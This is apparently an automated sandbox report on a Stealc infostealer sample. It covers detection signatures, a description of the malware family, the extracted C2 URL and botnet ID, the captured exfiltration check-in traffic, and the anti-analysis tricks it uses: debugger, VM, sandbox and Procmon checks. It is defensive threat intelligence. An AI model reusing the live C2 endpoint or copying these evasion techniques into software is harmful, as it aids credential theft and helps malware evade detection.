Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1540731
MD5:	7cec6eefc34f3702d47fa5a28cbbb929
SHA1:	dfe6aa0c35d17240cc857447d90614cec2d05b1a
SHA256:	a6f91d78572a12eb6f938220ee73f01ee43ef6fdfaaedf8439c0be80553dd841
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 1400 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7CEC6EEFC34F3702D47FA5A28CBBB929)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2163147892.00000000056E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2206022743.000000000195E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 1400	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1400	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.de0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:20.917646+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49723	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.de0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/rsonation

Virustotal: Detection: 16%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00DEC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00DE9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00DE7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00DE9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00DF8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00DF38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00DF4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00DEDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00DEE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00DF4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00DEED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00DE16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEF68A FindFirstFileA,	0_2_00DEF68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00DEF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00DF3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00DEBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00DEDE10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49723 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHCBAAEHCFIDGDHJEHCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 46 35 37 36 43 42 45 36 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="hwid"CCF576CBE6684217651120------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="build"doma------DGHCBAAEHCFIDGDHJEHC--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DE4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00DE4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHCBAAEHCFIDGDHJEHCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 46 35 37 36 43 42 45 36 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="hwid"CCF576CBE6684217651120------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="build"doma------DGHCBAAEHCFIDGDHJEHC--

Source: file.exe, 00000000.00000002.2206022743.000000000195E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2206022743.00000000019B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2206022743.00000000019B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/KW
Source: file.exe, 00000000.00000002.2206022743.00000000019A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2206022743.000000000195E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2206022743.00000000019D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php4
Source: file.exe, 00000000.00000002.2206022743.00000000019D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpE
Source: file.exe, 00000000.00000002.2206022743.00000000019A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpIh
Source: file.exe, 00000000.00000002.2206022743.00000000019D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpY
Source: file.exe, 00000000.00000002.2206022743.00000000019B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpoW
Source: file.exe, 00000000.00000002.2206022743.00000000019A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/rsonation

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904	0_2_011C5904
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011B315F	0_2_011B315F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E599E	0_2_010E599E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011BB841	0_2_011BB841
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010C28F2	0_2_010C28F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011BD3B4	0_2_011BD3B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010A43DD	0_2_010A43DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011B822D	0_2_011B822D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AFAB6	0_2_011AFAB6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011BEDDE	0_2_011BEDDE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D15D6	0_2_010D15D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C45C1	0_2_011C45C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C7402	0_2_011C7402
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01241F39	0_2_01241F39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011B16D8	0_2_011B16D8

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00DE45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: fzxkvimr ZLIB complexity 0.9951563407902382

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: file.exe, 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2163147892.00000000056E0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00DF8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00DF3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\KE52B6CI.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1918464 > 1048576

Source: file.exe

Static PE information: Raw size of fzxkvimr is bigger than: 0x100000 < 0x1ae400

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.de0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fzxkvimr:EW;ubuokytu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fzxkvimr:EW;ubuokytu:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00DF9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d5c72 should be: 0x1e322b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: fzxkvimr
Source: file.exe	Static PE information: section name: ubuokytu
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0129A122 push ebx; mov dword ptr [esp], ecx	0_2_0129A06E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push eax; mov dword ptr [esp], esi	0_2_011C5908
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push 7A90DFE0h; mov dword ptr [esp], edx	0_2_011C5928
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push 33C0B188h; mov dword ptr [esp], esi	0_2_011C597C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push ecx; mov dword ptr [esp], ebp	0_2_011C598B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push ecx; mov dword ptr [esp], 4B7EBF00h	0_2_011C59A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push ebp; mov dword ptr [esp], ebx	0_2_011C59E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push ecx; mov dword ptr [esp], esi	0_2_011C5B00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push eax; mov dword ptr [esp], 1D3F3CF6h	0_2_011C5C11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push edi; mov dword ptr [esp], esi	0_2_011C5C7A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push edx; mov dword ptr [esp], ebp	0_2_011C5C9B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push 056E4401h; mov dword ptr [esp], ecx	0_2_011C5CE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push edi; mov dword ptr [esp], eax	0_2_011C5D44
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push edx; mov dword ptr [esp], ecx	0_2_011C5D54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push 0A8F6FE2h; mov dword ptr [esp], eax	0_2_011C5D82
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push ebx; mov dword ptr [esp], 7BFAAC3Eh	0_2_011C5D9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push ebp; mov dword ptr [esp], esi	0_2_011C5E5A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push edx; mov dword ptr [esp], ebp	0_2_011C5F0C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push 3C57C4FBh; mov dword ptr [esp], esp	0_2_011C5F39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push 3BCBB000h; mov dword ptr [esp], edi	0_2_011C5FE4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push ecx; mov dword ptr [esp], eax	0_2_011C5FE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push 5D97B30Dh; mov dword ptr [esp], eax	0_2_011C6022
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push eax; mov dword ptr [esp], ebp	0_2_011C6064
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push eax; mov dword ptr [esp], ebx	0_2_011C607D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push 2285F2EEh; mov dword ptr [esp], edx	0_2_011C60E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push 329F207Dh; mov dword ptr [esp], edi	0_2_011C6151
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push ecx; mov dword ptr [esp], edi	0_2_011C618C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push 6DADD827h; mov dword ptr [esp], ebx	0_2_011C61D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push edi; mov dword ptr [esp], ebx	0_2_011C61EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push edx; mov dword ptr [esp], ebx	0_2_011C61F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C5904 push edi; mov dword ptr [esp], 04F9EAC6h	0_2_011C6216

Source: file.exe

Static PE information: section name: fzxkvimr entropy: 7.9537968539439525

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00DF9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13697

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10421CB second address: 1041A97 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F04D4C79EACh 0x00000008 jng 00007F04D4C79EA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jnp 00007F04D4C79EC0h 0x00000017 push ecx 0x00000018 jmp 00007F04D4C79EB8h 0x0000001d pop ecx 0x0000001e nop 0x0000001f pushad 0x00000020 pushad 0x00000021 mov ebx, dword ptr [ebp+122D3917h] 0x00000027 jmp 00007F04D4C79EB6h 0x0000002c popad 0x0000002d mov dword ptr [ebp+122D1AD7h], ecx 0x00000033 popad 0x00000034 push dword ptr [ebp+122D11D9h] 0x0000003a jmp 00007F04D4C79EB9h 0x0000003f call dword ptr [ebp+122D27AFh] 0x00000045 pushad 0x00000046 jo 00007F04D4C79EACh 0x0000004c mov dword ptr [ebp+122D17D9h], edx 0x00000052 xor eax, eax 0x00000054 mov dword ptr [ebp+122D17D9h], edi 0x0000005a mov edx, dword ptr [esp+28h] 0x0000005e cld 0x0000005f jmp 00007F04D4C79EB5h 0x00000064 mov dword ptr [ebp+122D385Bh], eax 0x0000006a stc 0x0000006b mov esi, 0000003Ch 0x00000070 pushad 0x00000071 mov ax, 116Bh 0x00000075 popad 0x00000076 add esi, dword ptr [esp+24h] 0x0000007a cld 0x0000007b lodsw 0x0000007d jmp 00007F04D4C79EAAh 0x00000082 add eax, dword ptr [esp+24h] 0x00000086 jnl 00007F04D4C79EACh 0x0000008c mov ebx, dword ptr [esp+24h] 0x00000090 mov dword ptr [ebp+122D17D9h], ebx 0x00000096 nop 0x00000097 push eax 0x00000098 push edx 0x00000099 jmp 00007F04D4C79EB1h 0x0000009e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041A97 second address: 1041AB9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F04D4C82A58h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
